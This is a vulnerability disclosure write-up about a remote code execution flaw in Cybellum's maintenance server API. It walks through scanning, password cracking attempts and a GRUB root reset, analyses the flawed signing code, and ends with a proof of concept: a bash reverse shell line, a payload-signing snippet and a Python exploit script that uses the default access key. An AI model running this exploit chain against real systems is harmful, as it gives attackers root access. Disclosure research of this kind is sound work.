Take a glance of browser, I find Cybellum RCE

Take a glance of browser, I find Cybellum RCE


One day I visited my friend @Imweekend. He was working on scanning the vulnerability of IVI firmware with Cybellum(The Product Security Platform). This Platform is used to manage and validate SBOMs, detect and prioritize vulnerabilities, comply with regulations and manage incident response. This Platform is based on Browser/Server Architecture.

About Vendor

Cybellum is a company that provides product security solutions for device manufacturers in the automotive, medical and industrial sectors. It helps them manage cybersecurity and cyber compliance across the entire product lifecycle, from SBOM management to vulnerability management to incident response. LG Electronics acquired Cybellum, in 2021.

This platform is widely used throughout the world by OEMs(BMW,Nissan,Grate Wall etc.) 、Tier 1(Denso, Mobileye, Harmam etc.)、The Third Party Inspection Institution(CATARC, CAERI,CSTC,CEPREI etc.)

image-20231226013456489

Interesting status

With a glance at the web page, which caught my eyes.

image-20230528184442715

192.168.1.102:29000/api/tasks?access_key=123 return task status with exception run—subprocess bash /tmp/bffed366—d3dl—4f1e-bc65—9a839b714add/start. sh It looks like a normal task exception which execute failed, but the type excute_rce is interesting. RCE is the abbreviation of “remote code execute”, RCE is a type of security vulnerability that allows attackers to run arbitrary code on a remote machine. RCE on everything is a security researcher’s dream.

As a security researcher, we are sensitive and curious about the world. excute_rce sense looks like a backdoor api, so we decide to dig into it deeper. Cybellum is a commercial product. It’s a black box to us. We require more information to investigate whether it is backdoor or not.

Regcongize service

First use nmap to find whether other port is open.

image-20240106165344944

Surprisingly, as a commercial product’s 22 (SSH) port is kept open. Login to the server requires a password. Failed to log in with the default password which is used on Web services of 443(https). Later, we use the hydra to crack the password with some wordlist, but still can’t get the correct password.

image-20240106170230648

Come back to view other ports. Some of them are web applications without url path, and we got a lot of error.

image-20240106172132756

Deployment method

It’s hard to make progress at outer, so we try to extract firmware for further analysis. First we need to figure out the system deployment method.

We found the image named cybellum.qcow2. Qcow2 is a file format for disk image files used by QEMU. It is an updated version of the Qcow2 format and supports AES encryption.

Now we know Cybellum uses QEMU to serve the platform. Next step is to modify the qcow2 disk image and add a backdoor account for SSH service.

Mount qcow2 disk image

qemu-nbd is QEMU Disk Network Block Device Server, which can be used to mount qcow2 image.

  1. Enable NBD on the Host

    1
    modprobe nbd max_part=8  
  2. Connect the QCOW2 as network block device

    1
    qemu-nbd -c /dev/nbd1 ./cybellum.qcow2 
  3. Find The Virtual Machine Partitions

image-20240106174138633

​ Partition is 1M BOST boot; Partition /dev/nbd1p2 ;the biggest partition is /dev/nbd1p3.

  1. Mount the partition from the VM

    mount /dev/nbd1p3 failed, because unknown filesystem type 'crypto_LUKS'. According to the error information crypto_LUKS show is /dev/nbd1p3 is crypt.

    1
    2
    3
    └─# mount /dev/nbd1p3 /media/file                                                                                     
    mount: /media/file: unknown filesystem type 'crypto_LUKS'.
    dmesg(1) may have more information after failed mount system call.

    cryptsetup can be used to mount encryption partition. Without a password,we are stagnant again.

    1
    2
    3
    4
    # modprobe dm-crypt dm-mod
    # cryptsetup open /dev/nbd1p3 test
    Enter passphrase for /dev/nbd1p3:

  2. find encryption parameters

    Before find a key,we need to know the encryption algorithm and key length.cryptsetup luksDump can help us to dump the header information of a LUKS device. cryptsetup luksDump /dev/nbd1p3 show ciper is aes-xts-plain64、key is 512 bits.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    LUKS header information
    Version: 2
    Epoch: 5
    Metadata area: 16384 [bytes]
    Keyslots area: 16744448 [bytes]
    UUID: 871011b5-f0cd-47d7-946c-a1dc6c356359
    Label: (no label)
    Subsystem: (no subsystem)
    Flags: (no flags)

    Data segments:
    0: crypt
    trueoffset: 16777216 [bytes]
    truelength: (whole device)
    truecipher: aes-xts-plain64
    truesector: 512 [bytes]

    Keyslots:
    1: luks2
    trueKey: 512 bits
    truePriority: normal
    trueCipher: aes-xts-plain64
    trueCipher key: 512 bits
    truePBKDF: argon2i
    trueTime cost: 4
    trueMemory: 945543
    trueThreads: 4
    trueSalt: 74 e4 f0 7d 4c 6f 9e dc 4a e4 6c 74 13 7c fa 90
    true 37 b4 39 2e 9a 51 71 92 da c5 c8 c7 d7 a0 d7 5e
    trueAF stripes: 4000
    trueAF hash: sha256
    trueArea offset:290816 [bytes]
    trueArea length:258048 [bytes]
    trueDigest ID: 0
    Tokens:
    Digests:
    0: pbkdf2
    trueHash: sha256
    trueIterations: 121362
    trueSalt: e9 a4 5f f5 b0 04 70 68 fd 9e d0 1e 10 90 05 18
    true e0 64 03 b4 c2 56 e5 8e 6e 2a 91 d8 c6 6e 66 ed
    trueDigest: 22 62 2a 43 6c f5 1b 36 88 b2 fb 7c ae 86 39 c1
    true b2 27 a7 ab 94 12 d3 72 9b 24 e8 fa a1 e9 f9 c2

​ When I delicated to find the AES 512 key, @Imweekend found another way to get access to the system.

NOTICE: decrypt and modify image see next blog.

Another easy way to get in

  1. convert qcow2 to vmdk

    1
    qemu-img convert -f qcow2 cybellum.qcow2 -O vmdk cybellum.vmdk
  2. Use VMware Workstation to create new virtual machine with existing virtual disk(cybellum.vmdk)

    image-20240106182339175

  3. Grub and character console are available

    Open virtual machine, hold Shift during loading Grub. Grub lacks protection. The next step is that we can reset the root password through grub.

    image-20240106182533068

    Print a lot of information during normal booting.

    image-20240106182807215

    After boot finished, virtual graph console without show login conversion like other normal condition.

    image-20240106183057195

    It indicate graph console is forbidden, but the virtual character console is still available. Use ALT+F1-F6 switch to other console.

    image-20240106184303046

  4. reset root password

    Open virtual machine, hold Shift during loading Grub. Go to submenu Advcaned options for Ubuntu.

    image-20240106184950501

    You will then be prompted by a menu that looks something like this,continue enter to recovery mode.

    image-20240106185005189

    Using the arrow keys scroll down to root and then hit Enter.

    image-20240106185117207

    Now see a root prompt, something like this,set the user’s password with the passwd command.

    image-20240106185545651

  5. get access of the OS

    After reboot the system,and hit ALT+2 switch to character console, we are able to log in with the new password.

    image-20240106185719258

Analysis backdoor

According this keywordexecute_rce, we did some digging and we found a backdoor api /api/execute_rce. Uploading an encrypted zip file containing start.sh can achieve arbitrary code execution and obtain the system with root privilege.

Login into Ubuntu, using ss know 29000 port is hosted by python.

image-20240106191143538

Grep the keyword execute_rce, source code at /usr/local/lib/python3.8/dist_packages/maintenance_server_microservic.

image-20240106190919877

exexute_rce route path is /api/execute_rce.

1
2
3
4
class ExecuteRCE:
NAME = 'execute_rce'
URI = '/api/execute_rce'
METHODS = ['POST']

In maintenance_server_microservice has documentation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
% tree -L 2 maintenance_server_microservice
.
├── __init__.py
├── __pycache__
├── _maintenance_server_microservice.py
├── apis
├── app.py
├── documentation
│   ├── apis.html
│   ├── common
│   ├── cybellum-logo-black.svg
│   ├── cybellum-logo-white.svg
│   ├── description.md
│   ├── docs-api-font.css
│   ├── main.json
│   ├── redoc.standalone.js
│   └── schemas
├── file_signer
├── microservice
├── scripts
├── utils
└── wsgi.py

The document Maintenance Server API (1.0) onhttp://ip:29000/docs/ .

image-20240108105530439

As the document show, The Maintenance Server is a service that expose an interface to the user that suppors the following operations:

  1. System install - allows deployment of a fresh system using supplied installation pack.
  2. System update - allows deployment of a new version of the system
  3. Restore database - allows a system database restore after it was backed-up using the backup functionality.
  4. RCE Execution - allows execution of a signed script on the machine (supplied by Cybellum).
  5. Update certificates - allows update of the TLS/SSL certificates of the system

RCE Execution is the target that allows execution of a signed script on the machine. The sign process may be secure or not. Next we try to analyze the sign process and find the sign key.

execute-rce API document available on http://ip:29000/docs/#operation/execute-rce.

image-20240108105639641

Function api_execute_rce implement in apis/apis.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def api_execute_rce(self):
args = parse_webargs(MaintenanceServerAPISParamsSpecs.EXECUTE_RCE, request)
api_params_names = MaintenanceServerAPIDefinitions.ExecuteRCE.Params

if request.files is None or len(request.files) != 1:
raise ReceivedNotEnoughFilesException()

access_key = args[api_params_names.ACCESS_KEY]
rce_file = api_params_names.RCE_FILE

self._validate_access_key(access_key)

temp_directory = filesystemex.create_temp_directory()

try:
self._unpack_file(temp_directory, rce_file, self.RCE_FILE)
except:
filesystemex.delete_folder(temp_directory)
raise

task = ExecuteRCETask(rce_file_name=self.RCE_FILE,
task_manager=self.task_manager,
files_root=temp_directory)
self.task_manager.submit_task(task)

return SuccessResponse({"task": task.to_json()[task.task_id]}).generate_response()

api_execute_rce get two parameters access_key and rce_file from frontend.

image-20240108110859694

First, use validate_access_key(access_key) validate access key.

1
2
3
4
5
6
def _validate_access_key(self, access_key):
with open(self.ACCESS_KEY_FILE_PATH) as f:
content = json.load(f)

if not content or 'access_key' not in content or content['access_key'] != access_key:
raise InvalidAccessKeyException()

ACCESS_KEY_FILE_PATH link to /mnt/cybellum/maintenance_server/access_key.json, default access_key is 123.

1
{"access_key":"123"}

Second, in use _upack_file to use FileSigner.unpack_file validate and decrypt encrypted file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def _unpack_file(self, destination, file_name, unpacked_file_name):
file_path = os.path.join(destination, file_name)
decrypted_file_path = os.path.join(destination, unpacked_file_name)

request.files[file_name].save(file_path)

with open(os.path.join(self.SIGN_KEY_HOME, self.PRIVATE_ENCRYPTION_KEY_PASS)) as f:
private_encryption_key_pass = f.read().strip()

try:
FileSigner.unpack_file(file_path,
public_key_path=os.path.join(self.SIGN_KEY_HOME, self.SIGNATURE_PUBLIC_KEY),
private_encryption_key_path=os.path.join(self.SIGN_KEY_HOME,
self.ENCRYPTION_PRIVATE_KEY),
private_encryption_key_pass=private_encryption_key_pass,
path_to_extract_orig=decrypted_file_path)

except Exception:
raise Exception('Could not unpack file')

Third, according to unpack_file , 4 step to unpack file.

  1. Read the signature from the unpacked file.
  2. Load the public key signature_public_key.pem, and validate the signature of encrypted file md5.
  3. Read the encrypted key from the unpacked file.
  4. Read the encrypted file and decrypt it with symmetric_keyencryption_private_key.pem.

A packed file is constructed with three parts; signature segment, encryption parameter segment and encrypted data segment.

image-20240106220903113

Finally, use ExecuteRCETask execute rce_file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class ExecuteRCETask(ExecutableTask):
SCRIPT_NAME = "start.sh"

def __init__(self, rce_file_name, *args, **kwargs):
super(ExecuteRCETask, self).__init__(*args, **kwargs)
self.task_type = TaskTypes.EXECUTE_RCE.value
self.rce_file_name = rce_file_name

def _execute_specific_task_callback(self, *args, **kwargs):
output_location = self.get_results_location()

self.run_subprocess(["unzip", os.path.join(self.files_root, self.rce_file_name)])
self.run_subprocess(["sudo", "chmod", "777", "-R", self.files_root])
exe_path=os.path.realpath(os.path.join(self.files_root, self.SCRIPT_NAME))
if not os.path.exists(exe_path):
raise MissingRceExeFile()
self.run_subprocess(["bash",
os.path.realpath(os.path.join(self.files_root, self.SCRIPT_NAME)),
output_location], preexec_fn=os.setpgrp)

if len(os.listdir(output_location)):
self.result_downloadable = True

The private key under /mnt/cybellum/maintenance_server/keys directory.

image-20240108125724597

  • encryption_private_key.pem: signature private key and encryption private key.
  • private_pass.txt: private key password.
  • signature_public_key.pem: Validate the signature public_key.

Key reuse: signature and encryption use the same key, encryption_private_key.pem deploy to signature, also deploy to encrypt and decrypt file.

Once we get access to the host system, we get a signature and encryption key from the system, so we can write any shell code in start.sh and pack. The platform consider it legal, and the shell script will be executed. We implemented remote code execution successfully.

If signature and encryption use different keys, and keep the signature’s private key safe. It may be more acceptable only cybellum is able to call execute-rce with the private key.

Proof of concept

  1. prepare reverse shell payload: bash -i >& /dev/tcp/192.168.122.1/4444 0>&1" save to start.sh

  2. compress start.sh to rce.zip

  3. signature and encryption zip file to rce.zip.packed.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    def sign_and_pack_file(destination,file_name,packed_file_name):
    file_path = os.path.join(destination, file_name)
    packed_file_path = os.path.join(destination, packed_file_name)
    PRIVATE_ENCRYPTION_KEY_PASS = "maintenance_server/keys/private_pass.txt"
    with open(PRIVATE_ENCRYPTION_KEY_PASS) as f:
    private_encryption_key_pass = f.read().strip()

    FileSigner.sign_and_pack_file(private_key_path="maintenance_server/keys/encryption_private_key.pem",private_key_pass=private_encryption_key_pass,input_file=file_path,signed_file_path=packed_file_path,public_encryption_key_path="maintenance_server/keys/signature_public_key.pem")
    print('The file was signed successfully and was stored at {}'.format(packed_file_path)
  4. POST payload to /api/execute_rce.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import requests
    banner = '''
    ██████╗ ██ ╔██████ ██████╗ █████╗ ██████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██████╗
    ██╔════╝ ██ ╚════║██ ██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗
    ██║ ██ ║██ ██████╔╝███████║██║ █████╔╝ ██║ ██║██║ ██║██║ ██║██████╔╝
    ██║ ██ ║██ ██╔══██╗██╔══██║██║ ██╔═██╗ ██║ ██║██║ ██║██║ ██║██╔══██╗
    ╚██████╗ ██ ╔██████╝ ██████╔╝██║ ██║╚██████╗██║ ██╗██████╔╝╚██████╔╝╚██████╔╝██║ ██║
    ╚═════╝ ██ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝

    '''

    url = "http://192.168.1.102:29000/api/execute_rce"

    files={'rce_file': open('E:/ing/cybellum/rce.zip.packed', 'rb')}
    payloads = {"access_key":"123"}
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36'}
    print(banner)
    print("Cybellum Backdoor exploit Program")

    response = requests.request("POST", url, data=payloads,headers=headers, files=files)
    if "result_downloadable" in response.text:
    print("Exploit success")
    else:
    print("Error")
  5. Get root shell

About Us

@delikley Security researcher @QAX StarV Security Lab.

@Imweekend Security researcher @CAERI.

Timeline

  • 2023-06-21 Contacting vendor through Email.
  • 2023-06-26 Cybellum confirmed this issue.
  • 2023-09-13 CVE RESERVED.
  • 2023-10-09 Cybellum release of security advisory.
  • 2024-02-18 release this security advisory.

More